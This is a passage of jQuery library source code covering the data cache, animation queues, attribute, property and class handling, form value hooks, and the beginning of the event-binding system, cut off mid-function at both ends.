testElement = fragment = select = opt = body = marginDiv = div = input = null;
return support;
})();
// Keep track of boxModel
jQuery.boxModel = jQuery.support.boxModel;
var rbrace = /^(?:\{.*\}|\[.*\])$/,
rmultiDash = /([A-Z])/g;
jQuery.extend({
cache: {},
// Please use with caution
uuid: 0,
// Unique for each copy of jQuery on the page
// Non-digits removed to match rinlinejQuery
expando: "jQuery" + ( jQuery.fn.jquery + Math.random() ).replace( /\D/g, "" ),
// The following elements throw uncatchable exceptions if you
// attempt to add expando properties to them.
noData: {
"embed": true,
// Ban all objects except for Flash (which handle expandos)
"object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
"applet": true
},
hasData: function( elem ) {
elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];
return !!elem && !isEmptyDataObject( elem );
},
data: function( elem, name, data, pvt /* Internal Use Only */ ) {
if ( !jQuery.acceptData( elem ) ) {
return;
}
var thisCache, ret,
internalKey = jQuery.expando,
getByName = typeof name === "string",
// We have to handle DOM nodes and JS objects differently because IE6-7
// can't GC object references properly across the DOM-JS boundary
isNode = elem.nodeType,
// Only DOM nodes need the global jQuery cache; JS object data is
// attached directly to the object so GC can occur automatically
cache = isNode ? jQuery.cache : elem,
// Only defining an ID for JS objects if its cache already exists allows
// the code to shortcut on the same path as a DOM node with no cache
id = isNode ? elem[ jQuery.expando ] : elem[ jQuery.expando ] && jQuery.expando;
// Avoid doing any more work than we need to when trying to get data on an
// object that has no data at all
if ( (!id || (pvt && id && (cache[ id ] && !cache[ id ][ internalKey ]))) && getByName && data === undefined ) {
return;
}
if ( !id ) {
// Only DOM nodes need a new unique ID for each element since their data
// ends up in the global cache
if ( isNode ) {
elem[ jQuery.expando ] = id = ++jQuery.uuid;
} else {
id = jQuery.expando;
}
}
if ( !cache[ id ] ) {
cache[ id ] = {};
// TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery
// metadata on plain JS objects when the object is serialized using
// JSON.stringify
if ( !isNode ) {
cache[ id ].toJSON = jQuery.noop;
}
}
// An object can be passed to jQuery.data instead of a key/value pair; this gets
// shallow copied over onto the existing cache
if ( typeof name === "object" || typeof name === "function" ) {
if ( pvt ) {
cache[ id ][ internalKey ] = jQuery.extend(cache[ id ][ internalKey ], name);
} else {
cache[ id ] = jQuery.extend(cache[ id ], name);
}
}
thisCache = cache[ id ];
// Internal jQuery data is stored in a separate object inside the object's data
// cache in order to avoid key collisions between internal data and user-defined
// data
if ( pvt ) {
if ( !thisCache[ internalKey ] ) {
thisCache[ internalKey ] = {};
}
thisCache = thisCache[ internalKey ];
}
if ( data !== undefined ) {
thisCache[ jQuery.camelCase( name ) ] = data;
}
// TODO: This is a hack for 1.5 ONLY. It will be removed in 1.6. Users should
// not attempt to inspect the internal events object using jQuery.data, as this
// internal data object is undocumented and subject to change.
if ( name === "events" && !thisCache[name] ) {
return thisCache[ internalKey ] && thisCache[ internalKey ].events;
}
// Check for both converted-to-camel and non-converted data property names
// If a data property was specified
if ( getByName ) {
// First Try to find as-is property data
ret = thisCache[ name ];
// Test for null|undefined property data
if ( ret == null ) {
// Try to find the camelCased property
ret = thisCache[ jQuery.camelCase( name ) ];
}
} else {
ret = thisCache;
}
return ret;
},
removeData: function( elem, name, pvt /* Internal Use Only */ ) {
if ( !jQuery.acceptData( elem ) ) {
return;
}
var thisCache,
// Reference to internal data cache key
internalKey = jQuery.expando,
isNode = elem.nodeType,
// See jQuery.data for more information
cache = isNode ? jQuery.cache : elem,
// See jQuery.data for more information
id = isNode ? elem[ jQuery.expando ] : jQuery.expando;
// If there is already no cache entry for this object, there is no
// purpose in continuing
if ( !cache[ id ] ) {
return;
}
if ( name ) {
thisCache = pvt ? cache[ id ][ internalKey ] : cache[ id ];
if ( thisCache ) {
// Support interoperable removal of hyphenated or camelcased keys
if ( !thisCache[ name ] ) {
name = jQuery.camelCase( name );
}
delete thisCache[ name ];
// If there is no data left in the cache, we want to continue
// and let the cache object itself get destroyed
if ( !isEmptyDataObject(thisCache) ) {
return;
}
}
}
// See jQuery.data for more information
if ( pvt ) {
delete cache[ id ][ internalKey ];
// Don't destroy the parent cache unless the internal data object
// had been the only thing left in it
if ( !isEmptyDataObject(cache[ id ]) ) {
return;
}
}
var internalCache = cache[ id ][ internalKey ];
// Browsers that fail expando deletion also refuse to delete expandos on
// the window, but it will allow it on all other JS objects; other browsers
// don't care
// Ensure that `cache` is not a window object #10080
if ( jQuery.support.deleteExpando || !cache.setInterval ) {
delete cache[ id ];
} else {
cache[ id ] = null;
}
// We destroyed the entire user cache at once because it's faster than
// iterating through each key, but we need to continue to persist internal
// data if it existed
if ( internalCache ) {
cache[ id ] = {};
// TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery
// metadata on plain JS objects when the object is serialized using
// JSON.stringify
if ( !isNode ) {
cache[ id ].toJSON = jQuery.noop;
}
cache[ id ][ internalKey ] = internalCache;
// Otherwise, we need to eliminate the expando on the node to avoid
// false lookups in the cache for entries that no longer exist
} else if ( isNode ) {
// IE does not allow us to delete expando properties from nodes,
// nor does it have a removeAttribute function on Document nodes;
// we must handle all of these cases
if ( jQuery.support.deleteExpando ) {
delete elem[ jQuery.expando ];
} else if ( elem.removeAttribute ) {
elem.removeAttribute( jQuery.expando );
} else {
elem[ jQuery.expando ] = null;
}
}
},
// For internal use only.
_data: function( elem, name, data ) {
return jQuery.data( elem, name, data, true );
},
// A method for determining if a DOM node can handle the data expando
acceptData: function( elem ) {
if ( elem.nodeName ) {
var match = jQuery.noData[ elem.nodeName.toLowerCase() ];
if ( match ) {
return !(match === true || elem.getAttribute("classid") !== match);
}
}
return true;
}
});
jQuery.fn.extend({
data: function( key, value ) {
var data = null;
if ( typeof key === "undefined" ) {
if ( this.length ) {
data = jQuery.data( this[0] );
if ( this[0].nodeType === 1 ) {
var attr = this[0].attributes, name;
for ( var i = 0, l = attr.length; i < l; i++ ) {
name = attr[i].name;
if ( name.indexOf( "data-" ) === 0 ) {
name = jQuery.camelCase( name.substring(5) );
dataAttr( this[0], name, data[ name ] );
}
}
}
}
return data;
} else if ( typeof key === "object" ) {
return this.each(function() {
jQuery.data( this, key );
});
}
var parts = key.split(".");
parts[1] = parts[1] ? "." + parts[1] : "";
if ( value === undefined ) {
data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]);
// Try to fetch any internally stored data first
if ( data === undefined && this.length ) {
data = jQuery.data( this[0], key );
data = dataAttr( this[0], key, data );
}
return data === undefined && parts[1] ?
this.data( parts[0] ) :
data;
} else {
return this.each(function() {
var $this = jQuery( this ),
args = [ parts[0], value ];
$this.triggerHandler( "setData" + parts[1] + "!", args );
jQuery.data( this, key, value );
$this.triggerHandler( "changeData" + parts[1] + "!", args );
});
}
},
removeData: function( key ) {
return this.each(function() {
jQuery.removeData( this, key );
});
}
});
function dataAttr( elem, key, data ) {
// If nothing was found internally, try to fetch any
// data from the HTML5 data-* attribute
if ( data === undefined && elem.nodeType === 1 ) {
var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
data = elem.getAttribute( name );
if ( typeof data === "string" ) {
try {
data = data === "true" ? true :
data === "false" ? false :
data === "null" ? null :
!jQuery.isNaN( data ) ? parseFloat( data ) :
rbrace.test( data ) ? jQuery.parseJSON( data ) :
data;
} catch( e ) {}
// Make sure we set the data so it isn't changed later
jQuery.data( elem, key, data );
} else {
data = undefined;
}
}
return data;
}
// TODO: This is a hack for 1.5 ONLY to allow objects with a single toJSON
// property to be considered empty objects; this property always exists in
// order to make sure JSON.stringify does not expose internal metadata
function isEmptyDataObject( obj ) {
for ( var name in obj ) {
if ( name !== "toJSON" ) {
return false;
}
}
return true;
}
function handleQueueMarkDefer( elem, type, src ) {
var deferDataKey = type + "defer",
queueDataKey = type + "queue",
markDataKey = type + "mark",
defer = jQuery.data( elem, deferDataKey, undefined, true );
if ( defer &&
( src === "queue" || !jQuery.data( elem, queueDataKey, undefined, true ) ) &&
( src === "mark" || !jQuery.data( elem, markDataKey, undefined, true ) ) ) {
// Give room for hard-coded callbacks to fire first
// and eventually mark/queue something else on the element
setTimeout( function() {
if ( !jQuery.data( elem, queueDataKey, undefined, true ) &&
!jQuery.data( elem, markDataKey, undefined, true ) ) {
jQuery.removeData( elem, deferDataKey, true );
defer.resolve();
}
}, 0 );
}
}
jQuery.extend({
_mark: function( elem, type ) {
if ( elem ) {
type = (type || "fx") + "mark";
jQuery.data( elem, type, (jQuery.data(elem,type,undefined,true) || 0) + 1, true );
}
},
_unmark: function( force, elem, type ) {
if ( force !== true ) {
type = elem;
elem = force;
force = false;
}
if ( elem ) {
type = type || "fx";
var key = type + "mark",
count = force ? 0 : ( (jQuery.data( elem, key, undefined, true) || 1 ) - 1 );
if ( count ) {
jQuery.data( elem, key, count, true );
} else {
jQuery.removeData( elem, key, true );
handleQueueMarkDefer( elem, type, "mark" );
}
}
},
queue: function( elem, type, data ) {
if ( elem ) {
type = (type || "fx") + "queue";
var q = jQuery.data( elem, type, undefined, true );
// Speed up dequeue by getting out quickly if this is just a lookup
if ( data ) {
if ( !q || jQuery.isArray(data) ) {
q = jQuery.data( elem, type, jQuery.makeArray(data), true );
} else {
q.push( data );
}
}
return q || [];
}
},
dequeue: function( elem, type ) {
type = type || "fx";
var queue = jQuery.queue( elem, type ),
fn = queue.shift(),
defer;
// If the fx queue is dequeued, always remove the progress sentinel
if ( fn === "inprogress" ) {
fn = queue.shift();
}
if ( fn ) {
// Add a progress sentinel to prevent the fx queue from being
// automatically dequeued
if ( type === "fx" ) {
queue.unshift("inprogress");
}
fn.call(elem, function() {
jQuery.dequeue(elem, type);
});
}
if ( !queue.length ) {
jQuery.removeData( elem, type + "queue", true );
handleQueueMarkDefer( elem, type, "queue" );
}
}
});
jQuery.fn.extend({
queue: function( type, data ) {
if ( typeof type !== "string" ) {
data = type;
type = "fx";
}
if ( data === undefined ) {
return jQuery.queue( this[0], type );
}
return this.each(function() {
var queue = jQuery.queue( this, type, data );
if ( type === "fx" && queue[0] !== "inprogress" ) {
jQuery.dequeue( this, type );
}
});
},
dequeue: function( type ) {
return this.each(function() {
jQuery.dequeue( this, type );
});
},
// Based off of the plugin by Clint Helfers, with permission.
// http://blindsignals.com/index.php/2009/07/jquery-delay/
delay: function( time, type ) {
time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
type = type || "fx";
return this.queue( type, function() {
var elem = this;
setTimeout(function() {
jQuery.dequeue( elem, type );
}, time );
});
},
clearQueue: function( type ) {
return this.queue( type || "fx", [] );
},
// Get a promise resolved when queues of a certain type
// are emptied (fx is the type by default)
promise: function( type, object ) {
if ( typeof type !== "string" ) {
object = type;
type = undefined;
}
type = type || "fx";
var defer = jQuery.Deferred(),
elements = this,
i = elements.length,
count = 1,
deferDataKey = type + "defer",
queueDataKey = type + "queue",
markDataKey = type + "mark",
tmp;
function resolve() {
if ( !( --count ) ) {
defer.resolveWith( elements, [ elements ] );
}
}
while( i-- ) {
if (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) ||
( jQuery.data( elements[ i ], queueDataKey, undefined, true ) ||
jQuery.data( elements[ i ], markDataKey, undefined, true ) ) &&
jQuery.data( elements[ i ], deferDataKey, jQuery._Deferred(), true ) )) {
count++;
tmp.done( resolve );
}
}
resolve();
return defer.promise();
}
});
var rclass = /[\n\t\r]/g,
rspace = /\s+/,
rreturn = /\r/g,
rtype = /^(?:button|input)$/i,
rfocusable = /^(?:button|input|object|select|textarea)$/i,
rclickable = /^a(?:rea)?$/i,
rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
nodeHook, boolHook;
jQuery.fn.extend({
attr: function( name, value ) {
return jQuery.access( this, name, value, true, jQuery.attr );
},
removeAttr: function( name ) {
return this.each(function() {
jQuery.removeAttr( this, name );
});
},
prop: function( name, value ) {
return jQuery.access( this, name, value, true, jQuery.prop );
},
removeProp: function( name ) {
name = jQuery.propFix[ name ] || name;
return this.each(function() {
// try/catch handles cases where IE balks (such as removing a property on window)
try {
this[ name ] = undefined;
delete this[ name ];
} catch( e ) {}
});
},
addClass: function( value ) {
var classNames, i, l, elem,
setClass, c, cl;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).addClass( value.call(this, j, this.className) );
});
}
if ( value && typeof value === "string" ) {
classNames = value.split( rspace );
for ( i = 0, l = this.length; i < l; i++ ) {
elem = this[ i ];
if ( elem.nodeType === 1 ) {
if ( !elem.className && classNames.length === 1 ) {
elem.className = value;
} else {
setClass = " " + elem.className + " ";
for ( c = 0, cl = classNames.length; c < cl; c++ ) {
if ( !~setClass.indexOf( " " + classNames[ c ] + " " ) ) {
setClass += classNames[ c ] + " ";
}
}
elem.className = jQuery.trim( setClass );
}
}
}
}
return this;
},
removeClass: function( value ) {
var classNames, i, l, elem, className, c, cl;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).removeClass( value.call(this, j, this.className) );
});
}
if ( (value && typeof value === "string") || value === undefined ) {
classNames = (value || "").split( rspace );
for ( i = 0, l = this.length; i < l; i++ ) {
elem = this[ i ];
if ( elem.nodeType === 1 && elem.className ) {
if ( value ) {
className = (" " + elem.className + " ").replace( rclass, " " );
for ( c = 0, cl = classNames.length; c < cl; c++ ) {
className = className.replace(" " + classNames[ c ] + " ", " ");
}
elem.className = jQuery.trim( className );
} else {
elem.className = "";
}
}
}
}
return this;
},
toggleClass: function( value, stateVal ) {
var type = typeof value,
isBool = typeof stateVal === "boolean";
if ( jQuery.isFunction( value ) ) {
return this.each(function( i ) {
jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );
});
}
return this.each(function() {
if ( type === "string" ) {
// toggle individual class names
var className,
i = 0,
self = jQuery( this ),
state = stateVal,
classNames = value.split( rspace );
while ( (className = classNames[ i++ ]) ) {
// check each className given, space seperated list
state = isBool ? state : !self.hasClass( className );
self[ state ? "addClass" : "removeClass" ]( className );
}
} else if ( type === "undefined" || type === "boolean" ) {
if ( this.className ) {
// store className if set
jQuery._data( this, "__className__", this.className );
}
// toggle whole className
this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || "";
}
});
},
hasClass: function( selector ) {
var className = " " + selector + " ";
for ( var i = 0, l = this.length; i < l; i++ ) {
if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) {
return true;
}
}
return false;
},
val: function( value ) {
var hooks, ret,
elem = this[0];
if ( !arguments.length ) {
if ( elem ) {
hooks = jQuery.valHooks[ elem.nodeName.toLowerCase() ] || jQuery.valHooks[ elem.type ];
if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) {
return ret;
}
ret = elem.value;
return typeof ret === "string" ?
// handle most common string cases
ret.replace(rreturn, "") :
// handle cases where value is null/undef or number
ret == null ? "" : ret;
}
return undefined;
}
var isFunction = jQuery.isFunction( value );
return this.each(function( i ) {
var self = jQuery(this), val;
if ( this.nodeType !== 1 ) {
return;
}
if ( isFunction ) {
val = value.call( this, i, self.val() );
} else {
val = value;
}
// Treat null/undefined as ""; convert numbers to string
if ( val == null ) {
val = "";
} else if ( typeof val === "number" ) {
val += "";
} else if ( jQuery.isArray( val ) ) {
val = jQuery.map(val, function ( value ) {
return value == null ? "" : value + "";
});
}
hooks = jQuery.valHooks[ this.nodeName.toLowerCase() ] || jQuery.valHooks[ this.type ];
// If set returns undefined, fall back to normal setting
if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) {
this.value = val;
}
});
}
});
jQuery.extend({
valHooks: {
option: {
get: function( elem ) {
// attributes.value is undefined in Blackberry 4.7 but
// uses .value. See #6932
var val = elem.attributes.value;
return !val || val.specified ? elem.value : elem.text;
}
},
select: {
get: function( elem ) {
var value,
index = elem.selectedIndex,
values = [],
options = elem.options,
one = elem.type === "select-one";
// Nothing was selected
if ( index < 0 ) {
return null;
}
// Loop through all the selected options
for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {
var option = options[ i ];
// Don't return options that are disabled or in a disabled optgroup
if ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) &&
(!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" )) ) {
// Get the specific value for the option
value = jQuery( option ).val();
// We don't need an array for one selects
if ( one ) {
return value;
}
// Multi-Selects return an array
values.push( value );
}
}
// Fixes Bug #2551 -- select.val() broken in IE after form.reset()
if ( one && !values.length && options.length ) {
return jQuery( options[ index ] ).val();
}
return values;
},
set: function( elem, value ) {
var values = jQuery.makeArray( value );
jQuery(elem).find("option").each(function() {
this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;
});
if ( !values.length ) {
elem.selectedIndex = -1;
}
return values;
}
}
},
attrFn: {
val: true,
css: true,
html: true,
text: true,
data: true,
width: true,
height: true,
offset: true
},
attrFix: {
// Always normalize to ensure hook usage
tabindex: "tabIndex"
},
attr: function( elem, name, value, pass ) {
var nType = elem.nodeType;
// don't get/set attributes on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return undefined;
}
if ( pass && name in jQuery.attrFn ) {
return jQuery( elem )[ name ]( value );
}
// Fallback to prop when attributes are not supported
if ( !("getAttribute" in elem) ) {
return jQuery.prop( elem, name, value );
}
var ret, hooks,
notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
// Normalize the name if needed
if ( notxml ) {
name = jQuery.attrFix[ name ] || name;
hooks = jQuery.attrHooks[ name ];
if ( !hooks ) {
// Use boolHook for boolean attributes
if ( rboolean.test( name ) ) {
hooks = boolHook;
// Use nodeHook if available( IE6/7 )
} else if ( nodeHook ) {
hooks = nodeHook;
}
}
}
if ( value !== undefined ) {
if ( value === null ) {
jQuery.removeAttr( elem, name );
return undefined;
} else if ( hooks && "set" in hooks && notxml && (ret = hooks.set( elem, value, name )) !== undefined ) {
return ret;
} else {
elem.setAttribute( name, "" + value );
return value;
}
} else if ( hooks && "get" in hooks && notxml && (ret = hooks.get( elem, name )) !== null ) {
return ret;
} else {
ret = elem.getAttribute( name );
// Non-existent attributes return null, we normalize to undefined
return ret === null ?
undefined :
ret;
}
},
removeAttr: function( elem, name ) {
var propName;
if ( elem.nodeType === 1 ) {
name = jQuery.attrFix[ name ] || name;
jQuery.attr( elem, name, "" );
elem.removeAttribute( name );
// Set corresponding property to false for boolean attributes
if ( rboolean.test( name ) && (propName = jQuery.propFix[ name ] || name) in elem ) {
elem[ propName ] = false;
}
}
},
attrHooks: {
type: {
set: function( elem, value ) {
// We can't allow the type property to be changed (since it causes problems in IE)
if ( rtype.test( elem.nodeName ) && elem.parentNode ) {
jQuery.error( "type property can't be changed" );
} else if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) {
// Setting the type on a radio button after the value resets the value in IE6-9
// Reset value to it's default in case type is set after value
// This is for element creation
var val = elem.value;
elem.setAttribute( "type", value );
if ( val ) {
elem.value = val;
}
return value;
}
}
},
// Use the value property for back compat
// Use the nodeHook for button elements in IE6/7 (#1954)
value: {
get: function( elem, name ) {
if ( nodeHook && jQuery.nodeName( elem, "button" ) ) {
return nodeHook.get( elem, name );
}
return name in elem ?
elem.value :
null;
},
set: function( elem, value, name ) {
if ( nodeHook && jQuery.nodeName( elem, "button" ) ) {
return nodeHook.set( elem, value, name );
}
// Does not return so that setAttribute is also used
elem.value = value;
}
}
},
propFix: {
tabindex: "tabIndex",
readonly: "readOnly",
"for": "htmlFor",
"class": "className",
maxlength: "maxLength",
cellspacing: "cellSpacing",
cellpadding: "cellPadding",
rowspan: "rowSpan",
colspan: "colSpan",
usemap: "useMap",
frameborder: "frameBorder",
contenteditable: "contentEditable"
},
prop: function( elem, name, value ) {
var nType = elem.nodeType;
// don't get/set properties on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return undefined;
}
var ret, hooks,
notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
if ( notxml ) {
// Fix name and attach hooks
name = jQuery.propFix[ name ] || name;
hooks = jQuery.propHooks[ name ];
}
if ( value !== undefined ) {
if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
return ret;
} else {
return (elem[ name ] = value);
}
} else {
if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
return ret;
} else {
return elem[ name ];
}
}
},
propHooks: {
tabIndex: {
get: function( elem ) {
// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set
// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
var attributeNode = elem.getAttributeNode("tabindex");
return attributeNode && attributeNode.specified ?
parseInt( attributeNode.value, 10 ) :
rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?
0 :
undefined;
}
}
}
});
// Add the tabindex propHook to attrHooks for back-compat
jQuery.attrHooks.tabIndex = jQuery.propHooks.tabIndex;
// Hook for boolean attributes
boolHook = {
get: function( elem, name ) {
// Align boolean attributes with corresponding properties
// Fall back to attribute presence where some booleans are not supported
var attrNode;
return jQuery.prop( elem, name ) === true || ( attrNode = elem.getAttributeNode( name ) ) && attrNode.nodeValue !== false ?
name.toLowerCase() :
undefined;
},
set: function( elem, value, name ) {
var propName;
if ( value === false ) {
// Remove boolean attributes when set to false
jQuery.removeAttr( elem, name );
} else {
// value is true since we know at this point it's type boolean and not false
// Set boolean attributes to the same name and set the DOM property
propName = jQuery.propFix[ name ] || name;
if ( propName in elem ) {
// Only set the IDL specifically if it already exists on the element
elem[ propName ] = true;
}
elem.setAttribute( name, name.toLowerCase() );
}
return name;
}
};
// IE6/7 do not support getting/setting some attributes with get/setAttribute
if ( !jQuery.support.getSetAttribute ) {
// Use this for any attribute in IE6/7
// This fixes almost every IE6/7 issue
nodeHook = jQuery.valHooks.button = {
get: function( elem, name ) {
var ret;
ret = elem.getAttributeNode( name );
// Return undefined if nodeValue is empty string
return ret && ret.nodeValue !== "" ?
ret.nodeValue :
undefined;
},
set: function( elem, value, name ) {
// Set the existing or create a new attribute node
var ret = elem.getAttributeNode( name );
if ( !ret ) {
ret = document.createAttribute( name );
elem.setAttributeNode( ret );
}
return (ret.nodeValue = value + "");
}
};
// Set width and height to auto instead of 0 on empty string( Bug #8150 )
// This is for removals
jQuery.each([ "width", "height" ], function( i, name ) {
jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
set: function( elem, value ) {
if ( value === "" ) {
elem.setAttribute( name, "auto" );
return value;
}
}
});
});
}
// Some attributes require a special call on IE
if ( !jQuery.support.hrefNormalized ) {
jQuery.each([ "href", "src", "width", "height" ], function( i, name ) {
jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
get: function( elem ) {
var ret = elem.getAttribute( name, 2 );
return ret === null ? undefined : ret;
}
});
});
}
if ( !jQuery.support.style ) {
jQuery.attrHooks.style = {
get: function( elem ) {
// Return undefined in the case of empty string
// Normalize to lowercase since IE uppercases css property names
return elem.style.cssText.toLowerCase() || undefined;
},
set: function( elem, value ) {
return (elem.style.cssText = "" + value);
}
};
}
// Safari mis-reports the default selected property of an option
// Accessing the parent's selectedIndex property fixes it
if ( !jQuery.support.optSelected ) {
jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, {
get: function( elem ) {
var parent = elem.parentNode;
if ( parent ) {
parent.selectedIndex;
// Make sure that it also works with optgroups, see #5701
if ( parent.parentNode ) {
parent.parentNode.selectedIndex;
}
}
return null;
}
});
}
// Radios and checkboxes getter/setter
if ( !jQuery.support.checkOn ) {
jQuery.each([ "radio", "checkbox" ], function() {
jQuery.valHooks[ this ] = {
get: function( elem ) {
// Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified
return elem.getAttribute("value") === null ? "on" : elem.value;
}
};
});
}
jQuery.each([ "radio", "checkbox" ], function() {
jQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], {
set: function( elem, value ) {
if ( jQuery.isArray( value ) ) {
return (elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0);
}
}
});
});
var rnamespaces = /\.(.*)$/,
rformElems = /^(?:textarea|input|select)$/i,
rperiod = /\./g,
rspaces = / /g,
rescape = /[^\w\s.|`]/g,
fcleanup = function( nm ) {
return nm.replace(rescape, "\\$&");
};
/*
* A number of helper functions used for managing events.
* Many of the ideas behind this code originated from
* Dean Edwards' addEvent library.
*/
jQuery.event = {
// Bind an event to an element
// Original by Dean Edwards
add: function( elem, types, handler, data ) {
if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
return;
}
if ( handler === false ) {
handler = returnFalse;
} else if ( !handler ) {
// Fixes bug #7229. Fix recommended by jdalton
return;
}
var handleObjIn, handleObj;
if ( handler.handler ) {
handleObjIn = handler;
handler = handleObjIn.handler;
}
// Make sure that the function being executed has a unique ID
if ( !handler.guid ) {
handler.guid = jQuery.guid++;
}
// Init the element's event structure
var elemData = jQuery._data( elem );
// If no elemData is found then we must be trying to bind to one of the
// banned noData elements
if ( !elemData ) {
return;
}
var events = elemData.events,
eventHandle = elemData.handle;
if ( !events ) {
elemData.events = events = {};
}
if ( !eventHandle ) {
elemData.handle = eventHandle = function( e ) {
// Discard the second event of a jQuery.event.trigger() and
// when an event is called after a page has unloaded
return typeof jQuery !== "undefined" && (!e || jQuery.event.triggered !== e.type) ?
jQuery.event.handle.apply( eventHandle.elem, arguments ) :
undefined;
};
}
// Add elem as a property of the handle function
// This is to prevent a memory leak with non-native events in IE.
eventHandle.elem = elem;
// Handle multiple events separated by a space
// jQuery(...).bind("mouseover mouseout", fn);
types = types.split(" ");
var type, i = 0, namespaces;
while ( (type = types[ i++ ]) ) {
handleObj = handleObjIn ?
jQuery.extend({}, handleObjIn) :
{ handler: handler, data: data };
// Namespaced event handlers
if ( type.indexOf(".") > -1 ) {
namespaces = type.split(".");
type = namespaces.shift();
handleObj.namespace = namespaces.slice(0).sort().join(".");
} else {
namespaces = [];
handleObj.namespace = "";
}
handleObj.type = type;
if ( !handleObj.guid ) {
handleObj.guid = handler.guid;
}
// Get the current list of functions bound to this event
var handlers = events[ type ],
special = jQuery.event.special[ type ] || {};
// Init the event handler queue
if ( !handlers ) {
handlers = events[ type ] = [];
// Check for a special event handler
// Only use addEventListener/attachEvent if the special
// events handler returns false
if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
// Bind the global event handler to the element
if ( elem.addEventListener ) {
elem.addEventListener( type, eventHandle, false );
} else if ( elem.attachEvent ) {
elem.attachEvent( "on" + type, eventHandle );
}
}
}
if ( special.add ) {
special.add.call( elem, handleObj );
if ( !handleObj.handler.guid ) {
handleObj.handler.guid = handler.guid;
}
}
// Add the function to the element's handler list
handlers.push( handleObj );
// Keep track of which events have been used, for event optimization
jQuery.event.global[ type ] = true;
}
// Nullify elem to prevent memory leaks in IE
elem = null;
},
global: {},
// Detach an event or set of events from an element
remove: function( elem, types, handler, pos ) {
// don't do events on text and comment nodes
if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
return;
}
if ( handler === false ) {
handler = returnFalse;
}
var ret, type, fn, j, i = 0, all, namespaces, namespace, special, eventType, handleObj, origType,
elemData = jQuery.hasData( elem ) && jQuery._data( elem ),
events = elemData && elemData.events;
if ( !elemData || !events ) {
return;
}
// types is actually an event object here
if ( types && types.type ) {
handler = types.handler;
types = types.type;
}
// Unbind all events for the element
if ( !types || typeof types === "string" && types.charAt(0) === "." ) {
types = types || "";
for ( type in events ) {
jQuery.event.remove( elem, type + types );
}
return;
}
// Handle multiple events separated by a space
// jQuery(...).unbind("mouseover mouseout", fn);
types = types.split(" ");
while ( (type = types[ i++ ]) ) {
origType = type;
handleObj = null;
all = type.indexOf(".") < 0;
namespaces = [];
if ( !all ) {
// Namespaced event handlers
namespaces = type.split(".");
type = namespaces.shift();
namespace = new RegExp("(^|\\.)" +
jQuery.map( namespaces.slice(0).sort(), fcleanup ).join("\\.(?:.*\\.)?") + "(\\.|$)");
}
eventType = events[ type ];
if ( !eventType ) {
continue;
}
if ( !handler ) {
for ( j = 0; j < eventType.length; j++ ) {
handleObj = eventType[ j ];
if ( all || namespace.test( handleObj.namespace ) ) {
jQuery.event.remove( elem, origType, handleObj.handler, j );
eventType.splice( j--, 1 );
}
}
continue;
}
special = jQuery.event.special[ type ] || {};
for ( j = pos || 0; j < eventType.length; j++ ) {
handleObj = eventType[ j ];
if ( handler.guid === handleObj.guid ) {
// remove the given handler for the given type
if ( all || namespace.test( handleObj.namespace ) ) {
if ( pos == null ) {
eventType.splice( j--, 1 );
}
if ( special.remove ) {
special.remove.call( elem, handleObj );
}
}
if ( pos != null ) {
break;
}
}
}
// remove generic event handler if no more handlers exist
if ( eventType.length === 0 || pos != null && eventType.length === 1 ) {
if ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) {
jQuery.removeEvent( elem, type, elemData.handle );
}
ret = null;
delete events[ type ];
}
}
// Remove the expando if it's no longer used
if ( jQuery.isEmptyObject( events ) ) {
var handle = elemData.handle;
if ( handle ) {
handle.elem = null;
}
delete elemData.events;
delete elemData.handle;
if ( jQuery.isEmptyObject( elemData ) ) {
jQuery.removeData( elem, undefined, true );
}
}
},
// Events that are safe to short-circuit if no handlers are attached.
// Native DOM events should not be added, they may have inline handlers.
customEvent: {
"getData": true,
"setData": true,
"changeData": true
},
trigger: function( event, data, elem, onlyHandlers ) {
// Event object or event type
var type = event.type || event,
namespaces = [],
exclusive;
if ( type.indexOf("!") >= 0 ) {
// Exclusive events trigger only for the exact event (no namespaces)
type = type.slice(0, -1);
exclusive = true;
}
